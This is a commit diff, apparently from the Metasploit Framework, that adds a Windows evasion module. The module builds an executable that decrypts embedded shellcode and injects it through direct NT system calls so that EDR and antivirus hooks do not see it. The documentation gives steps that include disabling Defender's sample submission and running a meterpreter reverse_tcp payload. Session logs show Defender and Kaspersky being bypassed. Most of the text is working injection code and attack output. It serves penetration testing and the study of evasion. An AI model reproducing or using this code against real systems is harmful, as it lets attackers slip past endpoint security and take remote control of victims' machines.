Land #15506, Add evasion module syscall_inject
This commit is contained in:
@@ -340,6 +340,11 @@ typedef struct _GUID {
|
||||
BYTE Data4[8];
|
||||
} GUID;
|
||||
|
||||
typedef struct _LIST_ENTRY {
|
||||
struct _LIST_ENTRY *Flink;
|
||||
struct _LIST_ENTRY *Blink;
|
||||
} LIST_ENTRY, *PLIST_ENTRY, PRLIST_ENTRY;
|
||||
|
||||
typedef VOID (CALLBACK *LPOVERLAPPED_COMPLETION_ROUTINE)(DWORD,DWORD,LPOVERLAPPED);
|
||||
|
||||
typedef enum _PROCESSINFOCLASS {
|
||||
|
||||
@@ -17,7 +17,7 @@ static unsigned char alphabet[64] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopq
|
||||
int base64decode(char *dest, const char *src, int l)
|
||||
{
|
||||
static char inalphabet[256], decoder[256];
|
||||
static bool table_initialized = false;
|
||||
static short table_initialized = 0;
|
||||
int i, bits, c, char_count;
|
||||
int rpos;
|
||||
int wpos = 0;
|
||||
@@ -27,7 +27,7 @@ int base64decode(char *dest, const char *src, int l)
|
||||
inalphabet[alphabet[i]] = 1;
|
||||
decoder[alphabet[i]] = i;
|
||||
}
|
||||
table_initialized = true;
|
||||
table_initialized = 1;
|
||||
}
|
||||
|
||||
char_count = 0;
|
||||
|
||||
@@ -0,0 +1,119 @@
|
||||
## Description
|
||||
This module lets you create a Windows executable that injects a specific payload/shellcode in memory bypassing EDR/AVs Windows API hooking technique via direct syscalls achieved by Mingw's inline assembly.
|
||||
Mingw needs (x86_64) to be installed on the system and in the PATH enviroment variable.
|
||||
|
||||
The technique used is based on Sorting by System Call Address, by enumerating all Zw* stubs in the EAT of NTDLL.dll and then sorting them by address, it still works even if syscall indices were overwritten by AVs.
|
||||
[For more details](https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/)
|
||||
|
||||
## Verification Steps
|
||||
steps using a meterpreter/reverse_tcp payload on a 64-bits target:
|
||||
|
||||
1. `use evasion/windows/syscall_inject`
|
||||
1. `set LHOST <local IP>`
|
||||
1. `set payload windows/x64/meterpreter/reverse_tcp`
|
||||
1. `handler -p windows/x64/meterpreter/reverse_tcp -H <local IP> -P <local port>`
|
||||
1. `run`
|
||||
1. Make sure that "Automatic Sample Submission" is off in Windows Defender
|
||||
1. Copy the generated executable file to a specified location (e.g. target PC)
|
||||
1. Run it
|
||||
1. Verify that you got a session without being blocked by Antimalware
|
||||
|
||||
## Options
|
||||
|
||||
### CIPHER
|
||||
Encryption algorithm used to encrypt the payload. Available ones (CHACHA, RC4)
|
||||
|
||||
### FILENAME
|
||||
Filename for the generated evasive file file. The default is random.
|
||||
|
||||
### JUNK
|
||||
Adding random data such as names, emails and GUIDs to the final executable
|
||||
|
||||
### SLEEP
|
||||
Specify how much the program sleeps in milliseconds prior to execute the shellcode's thread (NtCreateThread).
|
||||
NOTE: the longer the better chance to avoid being detected.
|
||||
|
||||
## Advanced
|
||||
|
||||
### OptLevel
|
||||
Optimization level passed to the compiler (Mingw)
|
||||
|
||||
## Scenarios
|
||||
### Windows 10 (x64) version 20H2 with Defender
|
||||
```
|
||||
msf6 > use evasion/windows/syscall_inject
|
||||
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
|
||||
msf6 evasion(windows/syscall_inject) > set SLEEP 10000
|
||||
SLEEP => 10000
|
||||
msf6 evasion(windows/syscall_inject) > set LHOST 192.168.1.104
|
||||
LHOST => 192.168.1.104
|
||||
msf6 evasion(windows/syscall_inject) > run
|
||||
|
||||
[+] pYlCSOAeW.exe stored at /Users/user/.msf4/local/pYlCSOAeW.exe
|
||||
msf6 evasion(windows/syscall_inject) > cp /Users/user/.msf4/local/pYlCSOAeW.exe ~
|
||||
[*] exec: cp /Users/user/.msf4/local/pYlCSOAeW.exe ~
|
||||
|
||||
msf6 evasion(windows/syscall_inject) > handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.1.104 -P 4444
|
||||
[*] Payload handler running as background job 1.
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.104:4444
|
||||
msf6 evasion(windows/syscall_inject) > [*] Sending stage (200262 bytes) to 192.168.1.103
|
||||
[*] Meterpreter session 3 opened (192.168.1.104:4444 -> 192.168.1.103:53007) at 2021-08-01 17:08:43 +0300
|
||||
|
||||
msf6 evasion(windows/syscall_inject) > sessions -i 3
|
||||
[*] Starting interaction with 3...
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : DESKTOP-822593D
|
||||
OS : Windows 10 (10.0 Build 19042).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x64/windows
|
||||
meterpreter > exit
|
||||
[*] Shutting down Meterpreter...
|
||||
|
||||
[*] 192.168.1.103 - Meterpreter session 3 closed. Reason: User exit
|
||||
```
|
||||
### Windows server 2012 (x64) with Kaspersky 10.2.6.3733
|
||||
```
|
||||
msf6 > use evasion/windows/syscall_inject
|
||||
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
|
||||
msf6 evasion(windows/syscall_inject) > set payload windows/x64/meterpreter_bind_tcp
|
||||
payload => windows/x64/meterpreter_bind_tcp
|
||||
msf6 evasion(windows/syscall_inject) > set RHOST 192.168.225.76
|
||||
RHOST => 192.168.225.76
|
||||
msf6 evasion(windows/syscall_inject) > set LPORT 10156
|
||||
LPORT => 10156
|
||||
msf6 evasion(windows/syscall_inject) > set cipher rc4
|
||||
cipher => rc4
|
||||
msf6 evasion(windows/syscall_inject) > run
|
||||
|
||||
[+] ShP.exe stored at /Users/medicus/.msf4/local/ShP.exe
|
||||
msf6 evasion(windows/syscall_inject) > cp /Users/medicus/.msf4/local/ShP.exe ~
|
||||
[*] exec: cp /Users/medicus/.msf4/local/ShP.exe ~
|
||||
|
||||
msf6 evasion(windows/syscall_inject) > handler -p windows/x64/meterpreter_bind_tcp -H 192.168.225.76 -P 10156
|
||||
[*] Payload handler running as background job 0.
|
||||
|
||||
[*] Started bind TCP handler against 192.168.225.76:10156
|
||||
msf6 evasion(windows/syscall_inject) > [*] Meterpreter session 1 opened (0.0.0.0:0 -> 192.168.225.76:10156) at 2021-08-01 17:32:05 +0300
|
||||
|
||||
msf6 evasion(windows/syscall_inject) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : LABCE28
|
||||
OS : Windows 2012 (6.2 Build 9200).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 386
|
||||
Meterpreter : x64/windows
|
||||
meterpreter > exit
|
||||
[*] Shutting down Meterpreter...
|
||||
|
||||
[*] 192.168.225.76 - Meterpreter session 1 closed. Reason: User exit
|
||||
```
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
require 'open3'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module Compiler
|
||||
@@ -9,10 +8,10 @@ module Metasploit
|
||||
|
||||
INCLUDE_DIR = File.join(Msf::Config.data_directory, 'headers', 'windows', 'c_payload_util')
|
||||
UTILITY_DIR = File.join(Msf::Config.data_directory, 'utilities', 'encrypted_payload')
|
||||
OPTIMIZATION_FLAGS = [ 'Os', 'O0', 'O1', 'O2', 'O3', 'Og' ]
|
||||
|
||||
def compile_c(src)
|
||||
cmd = build_cmd(src)
|
||||
|
||||
stdin_err, status = Open3.capture2e(cmd)
|
||||
stdin_err
|
||||
end
|
||||
@@ -26,7 +25,7 @@ module Metasploit
|
||||
|
||||
File.write(src_file, src)
|
||||
|
||||
opt_level = [ 'Os', 'O0', 'O1', 'O2', 'O3', 'Og' ].include?(self.opt_lvl) ? "-#{self.opt_lvl} " : "-O2 "
|
||||
opt_level = OPTIMIZATION_FLAGS.include?(self.opt_lvl) ? "-#{self.opt_lvl} " : "-O2 "
|
||||
|
||||
cmd << "#{self.mingw_bin} "
|
||||
cmd << "#{src_file} -I #{INCLUDE_DIR} "
|
||||
@@ -36,13 +35,16 @@ module Metasploit
|
||||
# allowing them to be reordered
|
||||
cmd << '-ffunction-sections '
|
||||
cmd << '-fno-asynchronous-unwind-tables '
|
||||
cmd << '-nostdlib '
|
||||
cmd << '-fno-ident '
|
||||
cmd << opt_level
|
||||
|
||||
link_options << '--no-seh,'
|
||||
link_options << '-s,' if self.strip_syms
|
||||
link_options << "-T#{self.link_script}" if self.link_script
|
||||
if self.compile_options
|
||||
cmd << self.compile_options
|
||||
else
|
||||
cmd << '-nostdlib '
|
||||
end
|
||||
link_options << '--no-seh'
|
||||
link_options << ',-s' if self.strip_syms
|
||||
link_options << ",-T#{self.link_script}" if self.link_script
|
||||
|
||||
cmd << link_options
|
||||
|
||||
@@ -67,7 +69,7 @@ module Metasploit
|
||||
class X86
|
||||
include Mingw
|
||||
|
||||
attr_reader :file_name, :keep_exe, :keep_src, :strip_syms, :link_script, :opt_lvl, :mingw_bin
|
||||
attr_reader :file_name, :keep_exe, :keep_src, :strip_syms, :link_script, :opt_lvl, :mingw_bin, :compile_options
|
||||
|
||||
def initialize(opts={})
|
||||
@file_name = opts[:f_name]
|
||||
@@ -75,6 +77,7 @@ module Metasploit
|
||||
@keep_src = opts[:keep_src]
|
||||
@strip_syms = opts[:strip_symbols]
|
||||
@link_script = opts[:linker_script]
|
||||
@compile_options = opts[:compile_options]
|
||||
@opt_lvl = opts[:opt_lvl]
|
||||
@mingw_bin = MINGW_X86
|
||||
end
|
||||
@@ -87,7 +90,7 @@ module Metasploit
|
||||
class X64
|
||||
include Mingw
|
||||
|
||||
attr_reader :file_name, :keep_exe, :keep_src, :strip_syms, :link_script, :opt_lvl, :mingw_bin
|
||||
attr_reader :file_name, :keep_exe, :keep_src, :strip_syms, :link_script, :opt_lvl, :mingw_bin, :compile_options
|
||||
|
||||
def initialize(opts={})
|
||||
@file_name = opts[:f_name]
|
||||
@@ -95,6 +98,7 @@ module Metasploit
|
||||
@keep_src = opts[:keep_src]
|
||||
@strip_syms = opts[:strip_symbols]
|
||||
@link_script = opts[:linker_script]
|
||||
@compile_options = opts[:compile_options]
|
||||
@opt_lvl = opts[:opt_lvl]
|
||||
@mingw_bin = MINGW_X64
|
||||
end
|
||||
|
||||
@@ -0,0 +1,581 @@
|
||||
require 'metasploit/framework/compiler/mingw'
|
||||
require 'metasploit/framework/compiler/windows'
|
||||
class MetasploitModule < Msf::Evasion
|
||||
RC4 = File.join(Msf::Config.data_directory, 'headers', 'windows', 'rc4.h')
|
||||
BASE64 = File.join(Msf::Config.data_directory, 'headers', 'windows', 'base64.h')
|
||||
def initialize(info = {})
|
||||
super(
|
||||
merge_info(
|
||||
info,
|
||||
'Name' => 'Direct windows syscall evasion technique',
|
||||
'Description' => %q{
|
||||
This module allows you to generate a Windows EXE that evades Host-based security products
|
||||
such as EDR/AVs. It uses direct windows syscalls to achieve stealthiness, and avoid EDR hooking.
|
||||
|
||||
please try to use payloads that use a more secure transfer channel such as HTTPS or RC4
|
||||
in order to avoid payload's network traffic getting caught by network defense mechanisms.
|
||||
NOTE: for better evasion ratio, use high SLEEP values
|
||||
},
|
||||
'Author' => [ 'Yaz (kensh1ro)' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'windows',
|
||||
'Arch' => ARCH_X64,
|
||||
'Dependencies' => [ Metasploit::Framework::Compiler::Mingw::X64 ],
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
|
||||
},
|
||||
'Targets' => [['Microsoft Windows (x64)', {}]]
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
OptEnum.new('CIPHER', [ true, 'Shellcode encryption type', 'chacha', ['chacha', 'rc4']]),
|
||||
OptInt.new('SLEEP', [false, 'Sleep time in milliseconds before executing shellcode', 20000]),
|
||||
]
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptEnum.new('OptLevel', [ false, 'The optimization level to compile with', 'Os', Metasploit::Framework::Compiler::Mingw::OPTIMIZATION_FLAGS ]),
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def calc_hash(name)
|
||||
hash = @hash
|
||||
ror8 = ->(v) { ((v >> 8) & 0xffffffff) | ((v << 24) & 0xffffffff) }
|
||||
name.sub!('Nt', 'Zw')
|
||||
name << "\x00"
|
||||
for x in (0..name.length - 2).map { |i| name[i..i + 1] if name[i..i + 1].length == 2 }
|
||||
p_name = x.unpack('S')[0]
|
||||
hash ^= p_name + ror8.call(hash)
|
||||
end
|
||||
hash.to_s(16)
|
||||
end
|
||||
|
||||
def nt_alloc
|
||||
%^
|
||||
__asm__("NtAllocateVirtualMemory: \\n\\
|
||||
mov [rsp +8], rcx \\n\\
|
||||
mov [rsp+16], rdx\\n\\
|
||||
mov [rsp+24], r8\\n\\
|
||||
mov [rsp+32], r9\\n\\
|
||||
sub rsp, 0x28\\n\\
|
||||
mov ecx, 0x#{calc_hash 'NtAllocateVirtualMemory'} \\n\\
|
||||
call GetSyscallNumber \\n\\
|
||||
add rsp, 0x28 \\n\\
|
||||
mov rcx, [rsp +8] \\n\\
|
||||
mov rdx, [rsp+16] \\n\\
|
||||
mov r8, [rsp+24] \\n\\
|
||||
mov r9, [rsp+32] \\n\\
|
||||
mov r10, rcx \\n\\
|
||||
syscall \\n\\
|
||||
ret \\n\\
|
||||
");
|
||||
^
|
||||
end
|
||||
|
||||
def nt_close
|
||||
%^
|
||||
__asm__("NtClose: \\n\\
|
||||
mov [rsp +8], rcx \\n\\
|
||||
mov [rsp+16], rdx \\n\\
|
||||
mov [rsp+24], r8 \\n\\
|
||||
mov [rsp+32], r9 \\n\\
|
||||
sub rsp, 0x28 \\n\\
|
||||
mov ecx, 0x#{calc_hash 'NtClose'} \\n\\
|
||||
call GetSyscallNumber \\n\\
|
||||
add rsp, 0x28 \\n\\
|
||||
mov rcx, [rsp +8] \\n\\
|
||||
mov rdx, [rsp+16] \\n\\
|
||||
mov r8, [rsp+24] \\n\\
|
||||
mov r9, [rsp+32] \\n\\
|
||||
mov r10, rcx \\n\\
|
||||
syscall \\n\\
|
||||
ret \\n\\
|
||||
");
|
||||
^
|
||||
end
|
||||
|
||||
def nt_create_thread
|
||||
%^
|
||||
__asm__("NtCreateThreadEx: \\n\\
|
||||
mov [rsp +8], rcx \\n\\
|
||||
mov [rsp+16], rdx\\n\\
|
||||
mov [rsp+24], r8\\n\\
|
||||
mov [rsp+32], r9\\n\\
|
||||
sub rsp, 0x28\\n\\
|
||||
mov ecx, 0x#{calc_hash 'NtCreateThreadEx'} \\n\\
|
||||
call GetSyscallNumber \\n\\
|
||||
add rsp, 0x28\\n\\
|
||||
mov rcx, [rsp +8] \\n\\
|
||||
mov rdx, [rsp+16]\\n\\
|
||||
mov r8, [rsp+24]\\n\\
|
||||
mov r9, [rsp+32]\\n\\
|
||||
mov r10, rcx\\n\\
|
||||
syscall \\n\\
|
||||
ret \\n\\
|
||||
");
|
||||
^
|
||||
end
|
||||
|
||||
def nt_open_process
|
||||
%^
|
||||
__asm__("NtOpenProcess: \\n\\
|
||||
mov [rsp +8], rcx \\n\\
|
||||
mov [rsp+16], rdx \\n\\
|
||||
mov [rsp+24], r8 \\n\\
|
||||
mov [rsp+32], r9 \\n\\
|
||||
sub rsp, 0x28 \\n\\
|
||||
mov ecx, 0x#{calc_hash 'NtOpenProcess'} \\n\\
|
||||
call GetSyscallNumber \\n\\
|
||||
add rsp, 0x28 \\n\\
|
||||
mov rcx, [rsp +8] \\n\\
|
||||
mov rdx, [rsp+16] \\n\\
|
||||
mov r8, [rsp+24] \\n\\
|
||||
mov r9, [rsp+32] \\n\\
|
||||
mov r10, rcx \\n\\
|
||||
syscall \\n\\
|
||||
ret \\n\\
|
||||
");
|
||||
^
|
||||
end
|
||||
|
||||
def nt_protect
|
||||
%^
|
||||
__asm__("NtProtectVirtualMemory: \\n\\
|
||||
push rcx \\n\\
|
||||
push rdx \\n\\
|
||||
push r8 \\n\\
|
||||
push r9 \\n\\
|
||||
mov ecx, 0x#{calc_hash 'NtProtectVirtualMemory'} \\n\\
|
||||
call GetSyscallNumber \\n\\
|
||||
pop r9 \\n\\
|
||||
pop r8 \\n\\
|
||||
pop rdx \\n\\
|
||||
pop rcx \\n\\
|
||||
mov r10, rcx \\n\\
|
||||
syscall \\n\\
|
||||
ret \\n\\
|
||||
");
|
||||
^
|
||||
end
|
||||
|
||||
def nt_write
|
||||
%^
|
||||
__asm__("NtWriteVirtualMemory: \\n\\
|
||||
mov [rsp +8], rcx \\n\\
|
||||
mov [rsp+16], rdx \\n\\
|
||||
mov [rsp+24], r8 \\n\\
|
||||
mov [rsp+32], r9 \\n\\
|
||||
sub rsp, 0x28 \\n\\
|
||||
mov ecx, 0x#{calc_hash 'NtWriteVirtualMemory'} \\n\\
|
||||
call GetSyscallNumber \\n\\
|
||||
add rsp, 0x28 \\n\\
|
||||
mov rcx, [rsp +8] \\n\\
|
||||
mov rdx, [rsp+16] \\n\\
|
||||
mov r8, [rsp+24] \\n\\
|
||||
mov r9, [rsp+32] \\n\\
|
||||
mov r10, rcx \\n\\
|
||||
syscall \\n\\
|
||||
ret \\n\\
|
||||
");
|
||||
^
|
||||
end
|
||||
|
||||
def headers
|
||||
@headers = "#include <windows.h>\n"
|
||||
@headers << "#include \"#{BASE64}\"\n"
|
||||
@headers << "#include \"#{RC4}\"\n" if datastore['CIPHER'] == 'rc4'
|
||||
@headers << "#include \"chacha.h\"\n" if datastore['CIPHER'] == 'chacha'
|
||||
@headers
|
||||
end
|
||||
|
||||
def defines
|
||||
%^
|
||||
#define _SEED 0x#{@hash.to_s(16)}
|
||||
#define _ROR8(v) (v >> 8 | v << 24)
|
||||
#define MAX_SYSCALLS 500
|
||||
#define _RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)
|
||||
|
||||
|
||||
typedef struct _SYSCALL_ENTRY
|
||||
{
|
||||
DWORD Hash;
|
||||
DWORD Address;
|
||||
} SYSCALL_ENTRY, *P_SYSCALL_ENTRY;
|
||||
|
||||
typedef struct _SYSCALL_LIST
|
||||
{
|
||||
DWORD Count;
|
||||
SYSCALL_ENTRY Entries[MAX_SYSCALLS];
|
||||
} SYSCALL_LIST, *P_SYSCALL_LIST;
|
||||
|
||||
typedef struct _PEB_LDR_DATA {
|
||||
BYTE Reserved1[8];
|
||||
PVOID Reserved2[3];
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
} PEB_LDR_DATA, *P_PEB_LDR_DATA;
|
||||
|
||||
typedef struct _LDR_DATA_TABLE_ENTRY {
|
||||
PVOID Reserved1[2];
|
||||
LIST_ENTRY InMemoryOrderLinks;
|
||||
PVOID Reserved2[2];
|
||||
PVOID DllBase;
|
||||
} LDR_DATA_TABLE_ENTRY, *P_LDR_DATA_TABLE_ENTRY;
|
||||
|
||||
typedef struct _PEB {
|
||||
BYTE Reserved1[2];
|
||||
BYTE BeingDebugged;
|
||||
BYTE Reserved2[1];
|
||||
PVOID Reserved3[2];
|
||||
P_PEB_LDR_DATA Ldr;
|
||||
} PEB, *P_PEB;
|
||||
|
||||
typedef struct _PS_ATTRIBUTE
|
||||
{
|
||||
ULONG Attribute;
|
||||
SIZE_T Size;
|
||||
union
|
||||
{
|
||||
ULONG Value;
|
||||
PVOID ValuePtr;
|
||||
} u1;
|
||||
PSIZE_T ReturnLength;
|
||||
} PS_ATTRIBUTE, *PPS_ATTRIBUTE;
|
||||
|
||||
typedef struct _UNICODE_STRING
|
||||
{
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR Buffer;
|
||||
} UNICODE_STRING, *PUNICODE_STRING;
|
||||
|
||||
typedef struct _OBJECT_ATTRIBUTES
|
||||
{
|
||||
ULONG Length;
|
||||
HANDLE RootDirectory;
|
||||
PUNICODE_STRING ObjectName;
|
||||
ULONG Attributes;
|
||||
PVOID SecurityDescriptor;
|
||||
PVOID SecurityQualityOfService;
|
||||
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
|
||||
|
||||
typedef struct _CLIENT_ID
|
||||
{
|
||||
HANDLE UniqueProcess;
|
||||
HANDLE UniqueThread;
|
||||
} CLIENT_ID, *PCLIENT_ID;
|
||||
|
||||
typedef struct _PS_ATTRIBUTE_LIST
|
||||
{
|
||||
SIZE_T TotalLength;
|
||||
PS_ATTRIBUTE Attributes[1];
|
||||
} PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST;
|
||||
|
||||
EXTERN_C NTSTATUS NtAllocateVirtualMemory(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN OUT PVOID * BaseAddress,
|
||||
IN ULONG ZeroBits,
|
||||
IN OUT PSIZE_T RegionSize,
|
||||
IN ULONG AllocationType,
|
||||
IN ULONG Protect);
|
||||
|
||||
EXTERN_C NTSTATUS NtProtectVirtualMemory(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN OUT PVOID * BaseAddress,
|
||||
IN OUT PSIZE_T RegionSize,
|
||||
IN ULONG NewProtect,
|
||||
OUT PULONG OldProtect);
|
||||
|
||||
EXTERN_C NTSTATUS NtCreateThreadEx(
|
||||
OUT PHANDLE ThreadHandle,
|
||||
IN ACCESS_MASK DesiredAccess,
|
||||
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
|
||||
IN HANDLE ProcessHandle,
|
||||
IN PVOID StartRoutine,
|
||||
IN PVOID Argument OPTIONAL,
|
||||
IN ULONG CreateFlags,
|
||||
IN SIZE_T ZeroBits,
|
||||
IN SIZE_T StackSize,
|
||||
IN SIZE_T MaximumStackSize,
|
||||
IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL);
|
||||
|
||||
EXTERN_C NTSTATUS NtWriteVirtualMemory(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN PVOID BaseAddress,
|
||||
IN PVOID Buffer,
|
||||
IN SIZE_T NumberOfBytesToWrite,
|
||||
OUT PSIZE_T NumberOfBytesWritten OPTIONAL);
|
||||
|
||||
EXTERN_C NTSTATUS NtOpenProcess(
|
||||
OUT PHANDLE ProcessHandle,
|
||||
IN ACCESS_MASK DesiredAccess,
|
||||
IN POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
IN PCLIENT_ID ClientId OPTIONAL);
|
||||
|
||||
EXTERN_C NTSTATUS NtClose(
|
||||
IN HANDLE Handle);
|
||||
^
|
||||
end
|
||||
|
||||
def syscall_parser
|
||||
%@
|
||||
SYSCALL_LIST _SyscallList;
|
||||
|
||||
DWORD HashSyscall(PCSTR FunctionName)
|
||||
{
|
||||
DWORD i = 0;
|
||||
DWORD Hash = _SEED;
|
||||
|
||||
while (FunctionName[i])
|
||||
{
|
||||
WORD PartialName = *(WORD*)((ULONG64)FunctionName + i++);
|
||||
Hash ^= PartialName + _ROR8(Hash);
|
||||
}
|
||||
|
||||
return Hash;
|
||||
}
|
||||
|
||||
BOOL PopulateSyscallList()
|
||||
{
|
||||
// Return early if the list is already populated.
|
||||
if (_SyscallList.Count) return TRUE;
|
||||
|
||||
P_PEB Peb = (P_PEB)__readgsqword(0x60);
|
||||
P_PEB_LDR_DATA Ldr = Peb->Ldr;
|
||||
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
|
||||
PVOID DllBase = NULL;
|
||||
|
||||
// Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second
|
||||
// in the list, so it's safer to loop through the full list and find it.
|
||||
P_LDR_DATA_TABLE_ENTRY LdrEntry;
|
||||
for (LdrEntry = (P_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (P_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
|
||||
{
|
||||
DllBase = LdrEntry->DllBase;
|
||||
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;
|
||||
PIMAGE_NT_HEADERS NtHeaders = _RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
|
||||
PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
|
||||
DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
||||
if (VirtualAddress == 0) continue;
|
||||
|
||||
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)_RVA2VA(ULONG_PTR, DllBase, VirtualAddress);
|
||||
|
||||
// If this is NTDLL.dll, exit loop.
|
||||
PCHAR DllName = _RVA2VA(PCHAR, DllBase, ExportDirectory->Name);
|
||||
|
||||
if ((*(ULONG*)DllName) != 'ldtn') continue;
|
||||
if ((*(ULONG*)(DllName + 4)) == 'ld.l') break;
|
||||
}
|
||||
|
||||
if (!ExportDirectory) return FALSE;
|
||||
|
||||
DWORD NumberOfNames = ExportDirectory->NumberOfNames;
|
||||
PDWORD Functions = _RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions);
|
||||
PDWORD Names = _RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames);
|
||||
PWORD Ordinals = _RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);
|
||||
|
||||
// Populate _SyscallList with unsorted Zw* entries.
|
||||
DWORD i = 0;
|
||||
P_SYSCALL_ENTRY Entries = _SyscallList.Entries;
|
||||
do
|
||||
{
|
||||
PCHAR FunctionName = _RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);
|
||||
|
||||
// Is this a system call?
|
||||
if (*(USHORT*)FunctionName == 'wZ')
|
||||
{
|
||||
Entries[i].Hash = HashSyscall(FunctionName);
|
||||
Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];
|
||||
|
||||
i++;
|
||||
if (i == MAX_SYSCALLS) break;
|
||||
}
|
||||
} while (--NumberOfNames);
|
||||
|
||||
// Save total number of system calls found.
|
||||
_SyscallList.Count = i;
|
||||
|
||||
// Sort the list by address in ascending order.
|
||||
for (DWORD i = 0; i < _SyscallList.Count - 1; i++)
|
||||
{
|
||||
for (DWORD j = 0; j < _SyscallList.Count - i - 1; j++)
|
||||
{
|
||||
if (Entries[j].Address > Entries[j + 1].Address)
|
||||
{
|
||||
// Swap entries.
|
||||
SYSCALL_ENTRY TempEntry;
|
||||
|
||||
TempEntry.Hash = Entries[j].Hash;
|
||||
TempEntry.Address = Entries[j].Address;
|
||||
|
||||
Entries[j].Hash = Entries[j + 1].Hash;
|
||||
Entries[j].Address = Entries[j + 1].Address;
|
||||
|
||||
Entries[j + 1].Hash = TempEntry.Hash;
|
||||
Entries[j + 1].Address = TempEntry.Address;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
extern DWORD GetSyscallNumber(DWORD FunctionHash)
|
||||
{
|
||||
if (!PopulateSyscallList()) return -1;
|
||||
for (DWORD i = 0; i < _SyscallList.Count; i++)
|
||||
{
|
||||
if (FunctionHash == _SyscallList.Entries[i].Hash)
|
||||
{
|
||||
return i;
|
||||
}
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
@
|
||||
end
|
||||
|
||||
def exec_func
|
||||
%^
|
||||
char* enc_shellcode = "#{get_payload}";
|
||||
DWORD exec(void *buffer)
|
||||
{
|
||||
void (*function)();
|
||||
function = (void (*)())buffer;
|
||||
function();
|
||||
}
|
||||
^
|
||||
end
|
||||
|
||||
def inject
|
||||
s = "int i; for(i=0;i<10;i++){Sleep(#{datastore['SLEEP']} / 10);}"
|
||||
@inject = %@
|
||||
|
||||
void inject()
|
||||
{
|
||||
HANDLE pHandle;
|
||||
DWORD old = 0;
|
||||
CLIENT_ID cID = {0};
|
||||
OBJECT_ATTRIBUTES OA = {0};
|
||||
int b64len = strlen(enc_shellcode);
|
||||
PBYTE shellcode = (PBYTE)malloc(b64len);
|
||||
SIZE_T size = base64decode(shellcode, enc_shellcode, b64len);
|
||||
PVOID bAddress = NULL;
|
||||
int process_id = GetCurrentProcessId();
|
||||
cID.UniqueProcess = process_id;
|
||||
NtOpenProcess(&pHandle, PROCESS_ALL_ACCESS, &OA, &cID);
|
||||
NtAllocateVirtualMemory(pHandle, &bAddress, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
int n = 0;
|
||||
PBYTE temp = (PBYTE)malloc(size);
|
||||
@
|
||||
if datastore['CIPHER'] == 'rc4'
|
||||
@inject << %@
|
||||
#{Rex::Text.to_c key, Rex::Text::DefaultWrap, 'key'}
|
||||
RC4(key, shellcode, temp, size);
|
||||
NtWriteVirtualMemory(pHandle, bAddress, temp, size, NULL);
|
||||
@
|
||||
else
|
||||
@inject << %@
|
||||
#{Rex::Text.to_c key, Rex::Text::DefaultWrap, 'key'}
|
||||
#{Rex::Text.to_c iv, Rex::Text::DefaultWrap, 'iv'}
|
||||
chacha_ctx ctx;
|
||||
chacha_keysetup(&ctx, key, 256, 96);
|
||||
chacha_ivsetup(&ctx, iv);
|
||||
chacha_encrypt_bytes(&ctx, shellcode, temp, size);
|
||||
NtWriteVirtualMemory(pHandle, bAddress, temp, size, NULL);
|
||||
@
|
||||
end
|
||||
@inject << %@
|
||||
NtProtectVirtualMemory(pHandle, &bAddress, &size, PAGE_EXECUTE, &old);
|
||||
#{s if datastore['SLEEP'] > 0};
|
||||
HANDLE thread = NULL;
|
||||
NtCreateThreadEx(&thread, THREAD_ALL_ACCESS, NULL, pHandle, exec, bAddress, NULL, NULL, NULL, NULL, NULL);
|
||||
WaitForSingleObject(thread, INFINITE);
|
||||
NtClose(thread);
|
||||
NtClose(pHandle);
|
||||
}
|
||||
@
|
||||
end
